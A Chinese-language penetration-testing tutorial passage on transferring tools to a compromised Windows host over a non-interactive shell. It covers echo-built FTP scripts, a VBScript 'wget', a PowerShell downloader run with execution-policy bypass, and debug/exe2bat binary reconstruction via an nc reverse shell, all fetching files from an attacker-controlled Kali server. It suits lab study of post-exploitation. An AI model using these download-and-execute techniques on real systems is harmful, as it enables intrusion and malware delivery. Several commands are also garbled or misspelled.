2.FTP
之前我们说过FTP在非交互shell 下会出现没有办法输入密码,导致身份认证过程没有办法完整完成,这里我们就来介绍一下如何变通。
首先还是需要我们在肉鸡上搭建一个ftp服务器,这里以Kali为例,ftp服务器以pure-ftpd为例
1. 安装ftp服务器
apt-get install pure-ftpd
2. 配置FTP服务器
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd admin -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 68pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
cp /usr/share/windows-binaries/whoami.exe/ftphome/
/etc/init.d/pure-ftpd restart
3. 查看是否开启成功
netstat –pantu | grep 21
通过Filezilla或者浏览器连接一下
浏览器访问一下ftp://127.0.0.1
这样Kali 这方也就准备完毕了
下面是xp这边
1. 安装ftp服务
此时把你的系统安装镜像连接到虚拟机就行了
2. 如何实现非交互shell 输入密码呢?
这里可以利用ftp的一些个功能帮助我们实现
我们将所有的命令都写入到一个文件中,之后用ftp -s:ftp.txt 的方式来进行加载
我们可以使用远程shell的 echo 命令将我们的命令写入到文件中
echoopen 192.168.123.53 21> ftp.txt
echoadmin>> ftp.txt
echoadmin>> ftp.txt
echobin>> ftp.txt
echoGET whoami.exe>> ftp.txt
echobye>> ftp.txt
注意:指令与 > 之间不能有空格
>> 表示追加写
admin/ admin 是刚刚设置的账号密码
bye 断开连接
写入完成后我们就可以执行了
ftp -s:ftp.txt
传输结束后我们验证一下是否可以使用
可以看到成功上传,成功执行!
ftp相对于TFTP来说被更多服务器所使用,所以这种方式值得掌握!
3. VBScript
关于VBScript
这是一款脚本语言,之前很多恶意软件都会使用这个语言,甚至在启动项里面丢一个vbs脚本
在Win7之前,vbs是windows默认的脚本语言
win7之后powershell 作为了windows的默认语言
powershell有意要做到bash在Linux中的地位,在后渗透阶段,powershell可是一个利器
VBScript传输工具的思路其实就是自己写一个wget,并不是什么高端的东西
如果目标安装了Python,那我们也可以写一个Python版本的wget,之后用python解释器来执行
本地传输采用http协议,我们需要提前部署好肉鸡,以本地Kali为例
Kali默认安装了Apache,web目录为/var/www/html/
serviceapache2 start
cp/usr/share/windows-binaries/whoami.exe /var/www/html/
之后我们可以访问一下本机看看
可以看到成功启动
接下来就是我们通过远程shell写一个vbs脚本的wget了
还是使用echo 命令
echoOn Error Resume Next > wget.vbs
echoDim iRemote,iLocal >> wget.vbs
echoiLocal = LCase(WScript.Arguments(1)) >> wget.vbs
echoiRemote = LCase(WScript.Arguments(0)) >> wget.vbs
echoSet xPost = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echoxPost.Open "GET",iRemote,0 >> wget.vbs
echoxPost.Send() >> wget.vbs
echoSet sGet = CreateObject("ADODB.Stream") >> wget.vbs
echosGet.Mode = 3 >> wget.vbs
echosGet.Type = 1 >> wget.vbs
echosGet.Open() >> wget.vbs
echosGet.Write(xPost.responseBody) >> wget.vbs
echosGet.SaveToFile iLocal,2 >> wget.vbs
写入完成后就是执行了
cscriptwget.vbs http://192.168.123.53/whoami.exe w.exe
cscript是VBScript的解释器,下载下来的文件保存为 w.exe
可以看到成功传输并执行!
4. 使用Powershell 传输文件
win7 vista 及以上默认语言
思路与vbs一样
Kali端配置与上面相同
用 Windows 10 来演示吧
我们在远程shell中执行
echo $storageDir = $pwd>download.ps1
echo $webclient = New-Object System Net WebClient >>download.ps1
echo $url = "http://192.168.123.53/whoami.exe">>download.ps1
echo $file = "w.exe" >> download.ps1
echo $webclientDownloadFile($url,$file) >> download.ps1
写入完成后还是执行它
poweshell.exe -ExecutionPolicy Bypass -Nologo -Nonlnteractive-NoProfile -File download.ps1
5. 使用Debug传输文件
Debug 这个命令是一个很古老而且底层的命令
这个命令可以完成汇编和反汇编,并且可以修改Bios
经过之前的两种方法,相信大家肯定会说,我们能不能直接把二进制的文件一行一行地echo进一个文件中,答案是否定的
不过这个思路是可以的,我们需要变通一下,将二进制文件转换成文本类型,之后进行传输,最后再用debug命令转化为二进制格式
debug 只能传输小于64K的文件,而我们的whoami.exe 刚好有65K ,所以我们需要进行压缩,这里的压缩不是说普通的压缩软件进行压缩,需要使用upx
Kali 端的压缩
可以看到压缩后只有21k
Kali 端将二进制文件转换为文本文件(这个操作也可以在windows主机上执行)
wine/usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt
可以看到直接使用wine来执行会失败,我们按照Kali的提示安装一下框架依赖
dpkg--add-architecture i386 && apt-get update && apt-get installwine32
此过程需要下载大概600M的文件
安装结束后再执行,就可以成功了
我们打开whoami.txt
可以看到这个工具已经为我们都准备好了,最后两行是debug要做的,我们把除最后两行都复制下来,放入到nc反弹的shell中执行
成功生成了123.hex
接下来Debug就要登场了
debug< 123.hex
此时生成的1.DLL 就是我们的whoami.exe了,我们只需要重命名一下
copy1.dll nc.exe
可以看到已经成功执行了,这样我们就用exe2bat Debug 完成了tool的传输